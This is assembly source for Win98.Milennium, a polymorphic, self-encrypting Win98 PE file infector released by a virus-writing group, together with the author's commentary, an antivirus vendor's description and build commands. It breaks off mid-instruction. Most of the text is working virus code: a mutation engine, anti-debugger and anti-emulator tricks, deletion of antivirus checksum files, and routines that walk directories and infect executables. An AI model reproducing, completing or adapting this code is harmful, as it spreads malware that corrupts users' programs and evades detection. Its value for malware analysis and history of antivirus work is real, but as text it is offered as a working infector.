; млллллм млллллм млллллм ; ллл ллл ллл ллл ллл ллл ; Win98.Milennium мммллп плллллл ллллллл ; by Benny/29A лллмммм ммммллл ллл ллл ; ллллллл ллллллп ллл ллл ; ; ; ;Author's description ;===================== ; ; ;I'm very proud to introduce first multifiber virus ever. Not only this is ;also multithreaded polymorphic compressed armoured Win98 PE file infector ;with structure similar to neural nets. For those ppl, that doesn't know, ;what fiber is i can say: "There r many differences between threads and ;fibers, but this one is the most important. Threads r scheduled by ;specific Operating System's algorihtm, so its in 50% up to OS, which ;thread will run and which not. Fibers r special threads, that r scheduled ;ONLY by YOUR algorithm." I will explain all details in my tutorial. ; ; ; ;What happens on execution ? ;---------------------------- ; ;Virus will: ;1) Decrypt it's body by polymorphic decryptor ;2) Decompress API strings ;3) Gets module handle of KERNEL32.DLL ;4) Gets addresses for all needed APIs ;5) Creates Main thread ; I) Converts actual thread to fiber ; II) Creates all needed fibers ; III) Finds file ; IV) Chex file ; V) Infects file ; VI) Loops III) - V) ; VII) Deletes TBAV checksum file ; VIII) Changes directory by dot-dot method ; IX) Loops III) - VII) ; ;6) Chex some flags (=> payload) and jumps to host program. ; ; ; ;Main features ;-------------- ; ;Platforms: Win98+, platforms supportin' threads, fibers and "IN" instruction. ;Residency: Nope, direct action only. ;Stealth: No due to nonresidency. ;Antidebuggin': Yes, uses threads, fibers and IsDebuggerPresent API. ;Antiheuristix: Yes, uses threads, fibers and polymorphic engine. ;AntiAntiVirus: Yes, deletes TBAV checksum file. ;Fast infection:Yes, infects all files in directory structure. ;Polymorphism: Yes. ;Other features:a) Usin' "Memory-Mapped files". ; b) No use of absolute addresses. ; c) The only way, how to detect this virus is check PE header ; for suspicious flags (new section and flags in last section) ; or find decryption routine (that's not easy, it's polymorphic). ; It can't be detected by heuristic analyzer due to use of ; threads and fibers. AV scanner can't trace all APIs ; and can't know all of 'em. In this age. I think, this is ; the best antiheuristic technique. ; d) Usin' SEH for handlin' expected and unexpected exeptions. ; e) Infects EXE, SCR, BAK, DAT and SFX (WinRAR) files. ; f) Two ways, how to infect file: 1) append to last section ; 2) create new section ; g) Similar structure to Neural Nets. ; h) Unicode support for future versions of windozes ; ; ; ;Payload ;-------- ; ;If virus is at least 50th generation of original, it displays ;in possibility 1:10 MessageBox. ; ; ; ;AVP's description ;================== ; ;This is not a dangerous parasitic Win98 direct action polymorphic virus. It ;uses several Windows APIs included only in Windows98 and WindowsNT 3.51 ;Service Pack 3 or higher, and will not work under Windows95. Due to ;infection-related bugs, it also doesn't work under WinNT and Win2000. So it ;is Win98 specific virus. The infection mechanism used is a very tricky one - ;- and a very stable under Win98, too. It makes this virus a very fast ;infector, but several infection related bugs unhide the virus presence in ;non-Win98 systems. When executed, the virus searches for PE executable files ;in the current directory and all the upper directories. During infection the ;virus uses two infection ways: increases the size of last file section for ;its code, or adds a new section called ".mdata". At each 30 infected file the ;virus depending on the system timer (in one case of 10) displays the ;following message box: ; ; +---------------------------------------------------+ ; | Win32.Milennium by Benny/29A | ; +---------------------------------------------------| ; | First multifiber virus is here, beware of me ;-) | ; | Click OK if u wanna run this shit..' | ; +---------------------------------------------------+ ; ; ;Technical details ;------------------ ; ;When an infected file is executed, the polymorphic routine will decrypt the ;constant virus body. Next, the virus unpacks the API names using the ;following scheme: each API name is split in words, each word that appears ;twice is stored in a dictionary (for example SetFileAttributes and ;GetFileAttributes APIs are encoded like this: ; ;Dictionary: Set, Get, File, Attributes ;Encoding: 1, 3, 4, 2, 3, 4. ; ;Any word that is not in the dictionary is stored "AS IS". After unpacking API ;names, it gets the addresses for all the used APIs. Then, it creates a thread ;and waits for it to finnish. ; ; ;The main thread and fibers ;--------------------------- ; ;The thread converts itself to a fiber and split the infection process in 7 ;pieces: ; ;Fiber 1 - gets the current directory and searches for the following file ;types: *.EXE, *.SCR, *.BAK, *.DAT, *.SFX. Then it gives control to fiber 3. ;After receiving back the control, it deletes the file (if any) ANTIVIR.DAT ;from the current directory and goes to the upper directory. ; ;Fiber 2 - checks if the code runs under a debugger and if yes, it makes the ;stack pointer zero. This will result in a debugger crash. ; ;Fiber 3 - gets a file from the current search started in Fiber 1 and calls ;Fiber 4 to continue. When Fiber4 is completed, it calls Fiber7 and waits to ;receive back the control. Then it checks for more files in the current ;directory. ; ;Fiber 4 - checks if the file size if less than 4Gb and then gives control to ;Fiber 5. After Fiber5 completes, it checks it the file is an exe file, if the ;target processor is Intel and if the file is not a DLL. Also, it pays ;attention to the Imagebase (only files with ImageBase = 400000h are infected ; - most applications are infectable from this point of view). Then it gives ;control to Fiber 6 and waits to receive it back. ; ;Fiber 5 - Opens the current file, creates a mapping object for this file to ;make infection process easier. Next, it calls Fiber6 and sleeps till it gets ;back the control. ; ;Fiber 6 - is closes the current file, restores the file time and date and, if ;needed, grows the current file to fit the virus code. ; ;Fiber 7 - it calls the main infection routine. ; ; ;File infection routine ;----------------------- ; ;When infecting a file, the virus scans its imports for one of the following ;APIs: GetModuleHandleA and GetModuleHandleW. This will be used by the virus ;to get the addresses of the APIs needed to spread. If the host file does not ;import one of the previous APIs, the virus will not infect it. Next, the ;virus adds its code - there's one chance in three to create a new section, ;called .mdata. Otherwise, it increases the size of the last section. Then it ;calls it's polymorphic engine to generate an encrypted image of the virus and ;the decryptor for it and writes generated code into the host file. ; ; ; ;Author's notes ;=============== ; ;Hmmm, fine. Adrian Marinescu made excelent work. Really. I think, he didn't ;miss any important thing nor any internal detail. Gewd werk Adrian! ;Nevertheless, there is one thing, I have to note. Adrian made description of ;beta of Milennium. U can see, that payload writes Win32.Milennium instead ;Win98. That time I didn't tested it on WinNTs and I expected, it will be ;Win32 compatible. Unfortunately, I forgot, that IN is privileged opcode under ;WinNT (that's that bug, Adrian talked about). And after some other ;corrections (beta deleted ANTIVIR.DAT files instead ANTI-VIR.DAT), I started ;to call this virus Win98+ compatible. However, Adrians informators (or ;himself) probably never saw sharp version of Milennium. Hmm, maybe l8r. But ;this doesn't change anything on thing, that Adrian deeply analysed this virus ;and that he made really excelent work. I think its all. ; ; ; ;Greetz ;======= ; ; All 29Aers..... Thank ya for all! I promise, I'll do everything ; I can ever do for 29A. ; LethalMnd...... U have a potential, keep workin' on yourself! ; Yesnah......... Find another dolly, babe :-)). ; Adrian/GeCAD... Fuck off AV, join 29A! X-D ; ; ; ;How to build ;============= ; ; tasm32 -ml -q -m4 mil.asm ; tlink32 -Tpe -c -x -aa -r mil.obj,,, import32 ; pewrsec.com mil.exe ; ; ; ;For who is this dedicated ? ;============================ ; ;This virus is dedicated for somebody. Hehe, surprisely. It's dedicated to all ;good VXerz (N0T lamerz !!!) with greet, next Milennium will be our. ;Don't give up !!! ; ; ; ;(c) 1999 Benny/29A. .386p ;386+ intructions .model flat ;flat model include MZ.inc ;include some needed files include PE.inc include Win32API.inc include Useful.inc extrn ExitProcess:PROC ;some APIs needed by first generation extrn GetModuleHandleA:PROC extrn GetModuleHandleW:PROC .data db ? ;for TLINK32 compatibility ends ;VIRUS CODE STARTS HERE... .code Start: pushad ;push all regs @SEH_SetupFrame ;setup SEH frame inc byte ptr [edx] ;===> GP fault jmp Start ;some stuff for dumb emulators seh_fn: @SEH_RemoveFrame ;remove SEH frame popad ;and pop all regs ;stuff above will fuck AV-emulators push eax ;leave some space for "ret" to host pushad ;push all regs ;POLY DECRYPTOR STARTS HERE... @j1: db 3 dup (90h) call @j2 @j2: db 3 dup (90h) @1: pop ebp @j3: db 3 dup (90h) @2: sub ebp, offset @j2 @j4: db 3 dup (90h) ; mov ecx, (virus_end-encrypted+3)/4 @4: db 10111001b dd (virus_end-encrypted+3)/4 @j5: db 3 dup (90h) ; lea esi, [ebp + encrypted] db 10001101b @3: db 10110101b ; regmod dd offset encrypted @j6: db 3 dup (90h) decrypt: ; xor dword ptr [esi], 0 db 10000001b @7: db 00110110b key: dd 0 @j7: db 3 dup (90h) _next_: ; add esi, 4 db 10000011b @8: db 11000110b db 4 @j8: db 3 dup (90h) ; dec ecx @5: db 01001001b @j9: db 3 dup (90h) ; test ecx, ecx db 10000101b @6: db 11001001b jne decrypt encrypted: nFile = 1 ;some constants for decompress stage nGet = 2 nSet = 3 nModule = 4 nHandle = 5 nCreate = 6 nFind = 7 nClose = 8 nViewOf = 9 nCurrentDirectoryA= 10 nFiber = 11 nThread = 12 nDelete = 13 nLibrary = 14 numof_csz = 15 ;number of 'em call skip_strings cstringz: ;module names cszKernel32 db 'KERNEL32', 0 cszKernel32W dw 'K','E','R','N','E','L','3','2', 0 cszUser32 db 'USER32', 0 ;compressed API names cszGetModuleHandleA db nGet, nModule, nHandle, 'A', 0 cszGetModuleHandleW db nGet, nModule, nHandle, 'W', 0 cszCreateThread db nCreate, nThread, 0 cszWaitForSingleObject db 'WaitForSingleObject', 0 cszCloseHandle db nClose, nHandle, 0 cszConvertThreadToFiber db 'Convert', nThread, 'To', nFiber, 0 cszCreateFiber db nCreate, nFiber, 0 cszSwitchToFiber db 'SwitchTo', nFiber, 0 cszDeleteFiber db nDelete, nFiber, 0 cszGetVersion db nGet, 'Version', 0 cszFindFirstFileA db nFind, 'First', nFile, 'A', 0 cszFindNextFileA db nFind, 'Next', nFile, 'A', 0 cszFindClose db nFind, nClose, 0 cszCreateFileA db nCreate, nFile, 'A', 0 cszCreateFileMappingA db nCreate, nFile, 'MappingA', 0 cszMapViewOfFile db 'Map', nViewOf, nFile, 0 cszUnmapViewOfFile db 'Unmap', nViewOf, nFile, 0 cszSetFileAttributesA db nSet, nFile, 'AttributesA', 0 cszSetFilePointer db nSet, nFile, 'Pointer', 0 cszSetEndOfFile db nSet, 'EndOf', nFile, 0 cszSetFileTime db nSet, nFile, 'Time', 0 cszGetCurrentDirectoryA db nGet, nCurrentDirectoryA, 0 cszSetCurrentDirectoryA db nSet, nCurrentDirectoryA, 0 cszDeleteFile db nDelete, nFile, 'A', 0 cszLoadLibraryA db 'Load', nLibrary, 'A', 0 cszFreeLibraryA db 'Free', nLibrary, 0 cszIsDebuggerPresent db 'IsDebuggerPresent', 0 db 0ffh szMessageBoxA db 'MessageBoxA', 0 ;strings for payload szTitle db 'Win98.Milennium by Benny/29A', 0 szText db 'First multifiber virus is here, beware of me ! ;-)', 0dh db 'Click OK if u wanna run this shit...', 0 skip_strings: pop esi ;get relative delta offset mov ebp, esi sub ebp, offset cstringz lea edi, [ebp + strings] next_ch:lodsb ;decompressing stage test al, al je copy_b cmp al, 0ffh je end_unpacking cmp al, numof_csz jb packed copy_b: stosb jmp next_ch packed: push esi lea esi, [ebp + string_subs] mov cl, 1 mov dl, al lodsb packed2:test al, al je _inc_ packed3:cmp cl, dl jne un_pck p_cpy: stosb lodsb test al, al jne p_cpy pop esi jmp next_ch un_pck: lodsb test al, al jne packed3 _inc_: inc ecx jmp un_pck end_unpacking: stosb ;store 0ffh byte mov ecx, offset _GetModuleHandleA - 400000h ;some params GMHA = dword ptr $ - 4 mov ebx, offset _GetModuleHandleW - 400000h GMHW = dword ptr $ - 4 lea edx, [ebp + szKernel32] lea esi, [ebp + szKernel32W] call MyGetModuleHandle ;pseudo-neuron jecxz error xchg ebx, ecx lea esi, [ebp + szAPIs] ;params for next lea edi, [ebp + ddAPIs] call MyGetProcAddress ;pseudo-neuron jecxz error xor eax, eax lea edx, [ebp + dwThreadID] push edx push eax push ebp lea edx, [ebp + MainThread] push edx push eax push eax call [ebp + ddCreateThread] ;create main thread mov ebx, eax ;wait for xor eax, eax ;thread dec eax ;signalization push eax push ebx call [ebp + ddWaitForSingleObject] ;... push ebx ;and close handle call [ebp + ddCloseHandle] ;of main thread call payload ;try payload error: mov eax, [ebp + Entrypoint] add eax, 400000h mov [esp.cPushad], eax popad ret ;and jump to host ;------------------------------------------------------------------------------- payload: cmp byte ptr [ebp + GenerationCount], 30 ;30th generation ? jne end_payload ;nope in al, 40h and al, 9d jne end_payload ;chance 1:10 lea edx, [ebp + szUser32] ;yup, load library push edx ;(USER32.DLL) call [ebp + ddLoadLibraryA] xchg eax, ecx jecxz end_payload xchg ecx, ebx lea esi, [ebp + szMessageBoxA] ;get address of call GetProcAddress ;MessageBoxA API xchg eax, ecx ;error ? jecxz end_payload ;... push 1000h ;pass params lea edx, [ebp + szTitle] push edx lea edx, [ebp + szText] push edx push 0 call ecx ;call API push ebx call [ebp + ddFreeLibraryA] ;and unload library end_payload: ret ;------------------------------------------------------------------------------- MyGetModuleHandle Proc ;our GetModuleHandle function jecxz try_GMHW ;try Unicode version mov edi, 400000h push edx _GMH_: add ecx, edi call [ecx] xchg eax, ecx er_GMH: ret try_GMHW: ;Unicode version mov ecx, ebx jecxz er_GMH push esi jmp _GMH_ MyGetModuleHandle EndP ;------------------------------------------------------------------------------- MyGetProcAddress Proc ;our GetProcAddress function call GetProcAddress test eax, eax ;error ? je er_GPA stosd ;store address @endsz ;get next API name cmp byte ptr [esi], 0ffh ;end of API names ? jne MyGetProcAddress ;no, next API ret ;yeah, quit er_GPA: xor ecx, ecx ret GetProcAddress: pushad @SEH_SetupFrame mov eax, ebx add eax, [eax.MZ_lfanew] mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size] jecxz Proc_Address_not_found mov ebp, ebx add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress] push ecx mov edx, ebx add edx, [ebp.ED_AddressOfNames] mov ecx, [ebp.ED_NumberOfNames] xor eax, eax Search_for_API_name: mov edi, [esp + 16] mov esi, ebx add esi, [edx + eax * 4] Next_Char_in_API_name: cmpsb jz Matched_char_in_API_name inc eax loop Search_for_API_name pop eax Proc_Address_not_found: xor eax, eax jmp end_GetProcAddress Matched_char_in_API_name: cmp byte ptr [esi-1], 0 jne Next_Char_in_API_name pop ecx mov edx, ebx add edx, [ebp.ED_AddressOfOrdinals] movzx eax, word ptr [edx + eax * 2] Check_Index: cmp eax, [ebp.ED_NumberOfFunctions] jae Proc_Address_not_found mov edx, ebx add edx, [ebp.ED_AddressOfFunctions] add ebx, [edx + eax * 4] mov eax, ebx sub ebx, ebp cmp ebx, ecx jb Proc_Address_not_found end_GetProcAddress: @SEH_RemoveFrame mov [esp.Pushad_eax], eax popad ret MyGetProcAddress EndP ;------------------------------------------------------------------------------- GetProcAddressIT proc ;inputs: EAX - API name ; ECX - lptr to MZ header ; EDX - module name ;outputs: EAX - RVA pointer to IAT, 0 if error pushad xor eax, eax push ebp mov esi, [ecx.MZ_lfanew] add esi, ecx mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress] mov ebp, ecx push ecx movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections] movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader] lea ebx, [esi.NT_OptionalHeader + ebx] scan_sections: mov edx, [ebx.SH_VirtualAddress] cmp edx, eax je section_found sub ebx, -IMAGE_SIZEOF_SECTION_HEADER loop scan_sections pop ecx pop eax jmp End_GetProcAddressIT2 section_found: mov ebx, [ebx + 20] add ebx, ebp pop ecx pop eax test ebx, ebx je End_GetProcAddressIT2 xor esi, esi xor ebp, ebp push esi dec ebp Get_DLL_Name: pop esi inc ebp mov edi, [esp + 20] mov ecx, [ebx.esi.ID_Name] test ecx, ecx je End_GetProcAddressIT2 sub ecx, edx sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR push esi lea esi, [ebx + ecx] Next_Char_from_DLL: lodsb add al, -'.' jz IT_nup sub al, -'.' + 'a' cmp al, 'z' - 'a' + 1 jae no_up add al, -20h no_up: sub al, -'a' IT_nup: scasb jne Get_DLL_Name cmp byte ptr [edi-1], 0 jne Next_Char_from_DLL Found_DLL_Name: pop esi imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR mov ecx, [ebx + eax.ID_OriginalFirstThunk] jecxz End_GetProcAddressIT2 sub ecx, edx add ecx, ebx xor esi, esi Next_Imported_Name: push esi mov edi, [esp + 32] mov esi, [ecx + esi] test esi, esi je End_GetProcAddressIT3 sub esi, edx add esi, ebx lodsw next_char: cmpsb jne next_step cmp byte ptr [esi-1], 0 je got_it jmp next_char next_step: pop esi sub esi, -4 jmp Next_Imported_Name got_it: pop esi imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR add ebx, ebp mov eax, [ebx.ID_FirstThunk] add eax, esi mov [esp + 28], eax jmp End_GetProcAddressIT End_GetProcAddressIT3: pop eax End_GetProcAddressIT2: n6: xor eax, eax mov [esp.Pushad_eax], eax End_GetProcAddressIT: popad ret GetProcAddressIT EndP ;------------------------------------------------------------------------------- ; NOTE: Dendrit = Input, Axon = output, Synapse = jump link ;------------------------------------------------------------------------------- MainThread Proc PASCAL delta_param:DWORD ;delta offset as dendrit pushad ;store all regs mov ebx, delta_param ;store delta offset push 0 call [ebx + ddConvertThreadToFiber] ;convert thread to fiber xchg eax, ecx jecxz exit_main ;error ? mov [ebx + pfMain], ecx ;store context lea esi, [ebx + Neuron_Addresses] ;create all needed fibers lea edi, [ebx + Fiber_Addresses+4] mov ecx, num_of_neurons init_neurons: lodsd push ecx push ebx add eax, ebx push eax push 0 call [ebx + ddCreateFiber] ;create fiber pop ecx test eax, eax je exit_main stosd loop init_neurons push [ebx + pfNeuron_Main] call [ebx + ddSwitchToFiber] ;switch to main neuron exit_main: popad ret MainThread EndP ;------------------------------------------------------------------------------- Neuron_Main Proc PASCAL delta_param:DWORD ;delta offset as dendrit pushad ;store all regs mov ebx, delta_param ;store delta offset push [ebx + pfNeuron_Debugger] call [ebx + ddSwitchToFiber] ;dwitch to neuron lea edx, [ebx + CurDir] push edx push MAX_PATH call [ebx + ddGetCurrentDirectoryA] ;store current directory mov ecx, 20 path_walk: push ecx lea esi, [ebx + szExe] ;extension mov ecx, num_of_exts process_dir: push ecx mov [ebx + nfindfile_name], esi ;dendrit mov [ebx + nFF_synapse], offset pfNeuron_Main ;build synapse push [ebx + pfNeuron_FindFile] call [ebx + ddSwitchToFiber] ;infect directory @endsz pop ecx loop process_dir ;next extension lea esi, [ebx + dtavTBAV] push 0 push esi call [ebx + ddSetFileAttributesA] ;blank file attributes push esi call [ebx + ddDeleteFileA] ;delete TBAV checksum file lea edx, [ebx + dotdot] push edx call [ebx + ddSetCurrentDirectoryA] ;switch to subdirectory pop ecx loop path_walk lea edx, [ebx + CurDir] push edx call [ebx + ddSetCurrentDirectoryA] ;switch back push [ebx + pfMain] call [ebx + ddSwitchToFiber] ;switch back to main fiber popad ret Neuron_Main EndP ;------------------------------------------------------------------------------- Neuron_Debugger Proc PASCAL delta_param:DWORD ;delta offset as dendrit pushad ;store all regs mov ebx, delta_param ;store delta offset call [ebx + ddIsDebuggerPresent] ;is debugger present ? xchg eax, ecx jecxz end_debugger ;nope, jump to end in al, 40h ;this will cause execution xor esp, esp ;"xor esp, esp" under TD32 end_debugger: push [ebx + pfNeuron_Main] call [ebx + ddSwitchToFiber] ;jump back to main neuron popad ret Neuron_Debugger EndP ;------------------------------------------------------------------------------- Neuron_FindFile Proc PASCAL delta_param:DWORD ;delta offset as dendrit n_findfile: pushad ;save all regs mov ebx, delta_param ;store delta offset mov edx, 0 ;pointer to file name nfindfile_name = dword ptr $ - 4 ;as dendrit lea eax, [ebx + WFD] ;find first file push eax push edx call [ebx + ddFindFirstFileA] xchg eax, ecx jecxz end_FindFile mov [ebx + SearchHandle], ecx ;save search handle checkfile: mov [ebx + nCF_synapse], offset pfNeuron_FindFile ;build synapse push [ebx + pfNeuron_CheckFile] call [ebx + ddSwitchToFiber] ;and switch to neuron xor eax, eax cmp al, 0 nCheckFile_OK = byte ptr $ - 1 ;check Axon je find_next_file ;check failed ? mov [ebx + nIF_synapse], offset pfNeuron_FindFile ;build synapse push [ebx + pfNeuron_InfectFile] call [ebx + ddSwitchToFiber] ;and switch to neuron find_next_file: lea edx, [ebx + WFD] push edx push [ebx + SearchHandle] call [ebx + ddFindNextFileA] ;find next file test eax, eax jne checkfile ;r there more files ? push [ebx + SearchHandle] call [ebx + ddFindClose] ;nope, close search handle end_FindFile: push [ebx + dwThreadID] nFF_synapse = dword ptr $ - 4 ;jump to previous neuron call [ebx + ddSwitchToFiber] ;(depends on synapse) popad jmp n_findfile Neuron_FindFile EndP ;------------------------------------------------------------------------------- Neuron_CheckFile Proc PASCAL delta_param:DWORD ;d-offset as dendrit n_checkfile: pushad ;store all regs mov ebx, delta_param ;store delta offset mov [ebx + nCheckFile_OK], 0 test [ebx + WFD.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY jne end_checkfile ;discard directories xor edx, edx mov ecx, [ebx + WFD.WFD_nFileSizeHigh] cmp ecx, edx jne end_checkfile ;discard huge files add dx, 4096 cmp [ebx + WFD.WFD_nFileSizeLow], edx jb end_checkfile ;discard small files mov [ebx + nopenfile_size], ecx ;dendrit mov [ebx + nOF_synapse], offset pfNeuron_CheckFile ;build synapse push [ebx + pfNeuron_OpenFile] call [ebx + ddSwitchToFiber] ;switch to neuron mov ecx, [ebx + lpFile] jecxz end_checkfile ;mapped failed ? mov dl, byte ptr [ecx.MZ_res2] test dl, dl jne end_check_close ;test "already infected" mark mov edx, ecx cmp word ptr [ecx], IMAGE_DOS_SIGNATURE ;must be MZ jne end_check_close mov ecx, [ecx.MZ_lfanew] jecxz end_check_close mov eax, [ebx + WFD.WFD_nFileSizeLow] cmp eax, ecx jb end_check_close ;must point inside file add ecx, edx cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0 jne end_check_close cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 jne end_check_close ;must be 386+ test byte ptr [ecx.NT_FileHeader.FH_Characteristics], IMAGE_FILE_EXECUTABLE_IMAGE je end_check_close cmp [ecx.NT_OptionalHeader.OH_ImageBase], 400000h ;must be 0x400000 jne end_check_close xor eax, eax inc eax mov [ebx + nCheckFile_OK], al ;axon end_check_close: cdq inc edx inc edx mov [ebx + nclosefile_mode], dl ;dendrit mov [ebx + nClF_synapse], offset pfNeuron_CheckFile push [ebx + pfNeuron_CloseFile] call [ebx + ddSwitchToFiber] ;switch to neuron end_checkfile: push [ebx + dwThreadID] nCF_synapse = dword ptr $ - 4 call [ebx + ddSwitchToFiber] ;jump to previous neuron popad jmp n_checkfile Neuron_CheckFile EndP ;------------------------------------------------------------------------------- Neuron_OpenFile Proc PASCAL delta_param:DWORD ;delta offset as dendrit n_openfile: pushad ;store all regs mov ebx, delta_param ;store delta offset lea esi, [ebx + WFD.WFD_szFileName] mov edi, 0 nopenfile_size = dword ptr $ - 4 ;dendrit xor eax, eax mov [ebx + lpFile], eax push eax push eax push OPEN_EXISTING push eax mov al, 1 push eax ror eax, 1 mov ecx, edi jecxz $ + 4 rcr eax, 1 push eax push esi call [ebx + ddCreateFileA] ;open file inc eax je end_OpenFile dec eax mov [ebx + hFile], eax cdq push edx push edi push edx mov dl, PAGE_READONLY test edi, edi je $ + 4 shl dl, 1 push edx push 0 push eax call [ebx + ddCreateFileMappingA] ;create mappin object test eax, eax je end_OpenFile2 mov [ebx + hMapFile], eax cdq push edi push edx push edx mov dl, FILE_MAP_READ test edi, edi je $ + 4 shr dl, 1 push edx push eax call [ebx + ddMapViewOfFile] ;map view of file mov [ebx + lpFile], eax test eax, eax jne end_OpenFile end_OpenFile3: inc eax end_OpenFile2: mov [ebx + nclosefile_mode], al ;axon mov eax, [nOF_synapse] mov [ebx + nClF_synapse], eax ;dendrit push [ebx + pfNeuron_CloseFile] call [ebx + ddSwitchToFiber] ;switch to neuron end_OpenFile: push [ebx + dwThreadID] nOF_synapse = dword ptr $ - 4 call [ebx + ddSwitchToFiber] ;switch to previous neuron popad jmp n_openfile Neuron_OpenFile EndP ;------------------------------------------------------------------------------- Neuron_CloseFile Proc PASCAL delta_param:DWORD ;delta offset as dendrit n_closefile: pushad ;store all regs mov ebx, delta_param ;store delta offset mov esi, [ebx + hFile] xor edi, edi xor ecx, ecx mov cl, 0 nclosefile_mode = byte ptr $ - 1 ;dendrit jecxz closefile cmp cl, 1 je closemap cmp cl, 2 je unmapfile cmp al, 3 je next_edi inc edi next_edi: inc edi unmapfile: push [ebx + lpFile] call [ebx + ddUnmapViewOfFile] ;unmap view of file closemap: push [ebx + hMapFile] call [ebx + ddCloseHandle] ;close mappin object test edi, edi je closefile cmp edi, 1 je set_time xor eax, eax push eax push eax push [ebx + WFD.WFD_nFileSizeLow] push esi call [ebx + ddSetFilePointer] ;set file pointer API push esi call [ebx + ddSetEndOfFile] ;set EOF set_time: lea eax, [ebx + WFD.WFD_ftLastWriteTime] push eax lea eax, [ebx + WFD.WFD_ftLastAccessTime] push eax lea eax, [ebx + WFD.WFD_ftCreationTime] push eax push esi call [ebx + ddSetFileTime] ;set back file time closefile: push [ebx + hFile] call [ebx + ddCloseHandle] ;close file push [ebx + dwThreadID] nClF_synapse = dword ptr $ - 4 call [ebx + ddSwitchToFiber] ;jump to previous neuron popad jmp n_closefile Neuron_CloseFile EndP ;------------------------------------------------------------------------------- Neuron_InfectFile Proc PASCAL delta_param:DWORD ;delta offset as dendrit n_infectfile: pushad ;store all regs mov ebx, delta_param ;store delta offset @SEH_SetupFrame ;setup SEH frame xor esi, esi push esi lea edi, [ebx + WFD.WFD_szFileName] push edi call [ebx + ddSetFileAttributesA] ;blank file attributes test eax, eax je end_InfectFile mov eax, [ebx + WFD.WFD_nFileSizeLow] sub eax, Start - virus_end mov [ebx + nopenfile_size], eax ;dendrit mov [ebx + nOF_synapse], offset pfNeuron_InfectFile ;synapse push [ebx + pfNeuron_OpenFile] call [ebx + ddSwitchToFiber] ;switch to neuron mov ecx, [ebx + lpFile] test ecx, ecx je err_InfectFile lea eax, [ebx + szGetModuleHandleA] lea edx, [ebx + szKernel32] call GetProcAddressIT ;imports GetModuleHandleA ? test eax, eax jne store lea eax, [ebx + szGetModuleHandleW] ;nope, must import Unicode call GetProcAddressIT ;version of that test eax, eax je err_InfectFile mov [ebx + GMHW], eax xor eax, eax store: mov [ebx + GMHA], eax push ecx add ecx, [ecx.MZ_lfanew] mov edx, ecx x = IMAGE_SIZEOF_SECTION_HEADER movzx esi, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] lea esi, [edx.NT_OptionalHeader + esi] movzx eax, word ptr [edx.NT_FileHeader.FH_NumberOfSections] test eax, eax je err_InfectFile imul eax, x add esi, eax in al, 40h ;select how to infect file and al, 2 je NextWayOfInfection push [esi.SH_SizeOfRawData - x] lea edi, [esi.SH_VirtualSize - x] sub dword ptr [edi], Start - virtual_end ;new virtual size mov eax, [edi] push edx mov ecx, [edx.NT_OptionalHeader.OH_FileAlignment] cdq div ecx inc eax mul ecx mov [esi.SH_SizeOfRawData - x], eax ;new SizeOfRawData mov ecx, eax pop edx mov eax, [ebx + Entrypoint] push [edx.NT_OptionalHeader.OH_AddressOfEntryPoint] pop [ebx + Entrypoint] pop edi push eax sub ecx, edi add [edx.NT_OptionalHeader.OH_SizeOfImage], ecx ;new SizeOfImage or [esi.SH_Characteristics.hiw.hib - x], 0e0h ;change flags mov eax, [esi.SH_PointerToRawData - x] add eax, edi mov ecx, [ebx + WFD.WFD_nFileSizeLow] add edi, ecx sub edi, eax mov esi, [esi.SH_VirtualAddress - x] add esi, edi mov [edx.NT_OptionalHeader.OH_AddressOfEntryPoint], esi ;new EP pop eax copy_virus: pop edi mov byte ptr [edi.MZ_res2], 1 ;set "already infected" mark add edi, ecx pushad ;POLY ENGINE STARTS HERE... rep_1: call get_reg ;load random register mov dl, al add al, 58h ;create POP reg mov byte ptr [ebx + @1], al ;store it lea edi, [ebx + @2+1] ;and aply registry changes call mask_it ;to all needed lea edi, [ebx + @3] ;instructions call mask_it ;... rep_2: call get_reg ;get random register cmp al, dl ;mustnt be previous register je rep_2 mov dh, al xchg dl, dh add al, 0b8h ;create MOV instruction mov byte ptr [ebx + @4], al ;store it lea edi, [ebx + @5] ;and aply changes call mask_it push eax in al, 40h and al, 1 je _test_ mov al, 0bh ;OR reg, reg jmp _write _test_: mov al, 85h ;TEST reg, reg _write: mov byte ptr [ebx + @6-1], al ;store it pop eax lea edi, [ebx + @6] mov al, [edi] and al, 11000000b add al, dl ror al, 3 add al, dl rol al, 3 stosb rep_3: call get_reg ;get random register cmp al, dl ;mustnt be previous register je rep_3 cmp al, dh je rep_3 cmp al, 101b ;mustnt be EBP je rep_3 ;(due to instr. incompatibility) mov dl, al lea edi, [ebx + @3] mov al, [edi] and al, 11000111b ror al, 3 add al, dl rol al, 3 stosb lea edi, [ebx + @7] call mask_it lea edi, [ebx + @8] call mask_it lea esi, [ebx + junx] gen_j: lodsd ;junk instructions generator xchg eax, ecx jecxz end_mutate mov edi, ecx add edi, ebx xor eax, eax in al, 40h and al, 1 je _2&1_ push esi lea esi, [ebx + junx3] in al, 40h and al, num_junx3-1 add esi, eax movsb movsb in al, 40h stosb jmp _gen_j _2&1_: push esi in al, 40h and al, 1 je twofirst call one_byte call two_byte jmp _gen_j twofirst: call two_byte call one_byte _gen_j: pop esi jmp gen_j end_mutate: popad push eax in al, 40h ;create 32bit key mov ah, al in al, 40h shl eax, 16 in al, 40h mov ah, al in al, 40h mov dword ptr [ebx + key], eax ;store it push edi mov edx, (virus_end-Start+3)/4 ;copy virus body to internal lea esi, [ebx + Start] ;buffer mov ecx, edx lea edi, [ebx + buffer] rep movsd xor ecx, ecx lea esi, [ebx + buffer - Start + encrypted] crypt: xor [esi], eax ;encrypt virus body add esi, 4 inc ecx cmp ecx, (virus_end-encrypted+3)/4 jne crypt pop edi pop eax lea esi, [ebx + buffer] mov ecx, edx inc dword ptr [ebx + GenerationCount] ;increment generation count rep movsd ;copy virus mov [ebx + Entrypoint], eax ;restore variable after mov al, 